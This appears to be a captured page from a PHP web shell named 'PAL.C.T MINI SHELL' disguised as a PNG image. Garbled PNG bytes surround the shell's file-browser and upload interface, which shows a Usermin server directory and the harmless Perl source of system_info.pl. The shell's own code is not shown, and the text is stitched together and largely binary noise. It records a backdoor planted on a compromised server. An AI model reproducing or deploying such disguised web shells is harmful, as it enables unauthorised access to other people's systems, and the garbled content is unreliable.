php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/mailbox/
upload
files >> //usr/libexec/usermin/mailbox/system_info.pl

use strict;
use warnings;
require 'mailbox-lib.pl';
our (%text, %gconfig);

# list_system_info()
# Return some basic info about the system
sub list_system_info
{
my @table;
my $table = { 'type' => 'table',
              'desc' => $text{'right_header'},
	      'priority' => 10,
              'table' => \@table };

# Hostname
push(@table, { 'desc' => $text{'right_host'},
	       'value' => &get_display_hostname() });

# Operating system
push(@table, { 'desc' => $text{'right_os'},
               'value' => $gconfig{'os_version'} eq '*' ?
                        $gconfig{'real_os_type'} :
                        $gconfig{'real_os_type'}.' '.$gconfig{'real_os_version'}
             });

# Usermin version
push(@table, { 'desc' => $text{'right_usermin'},
	       'value' => &get_webmin_version() });

# System time
my $tm = localtime(time());
push(@table, { 'desc' => $text{'right_time'},
	       'value' => $tm });

return ($table);
}

1;
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`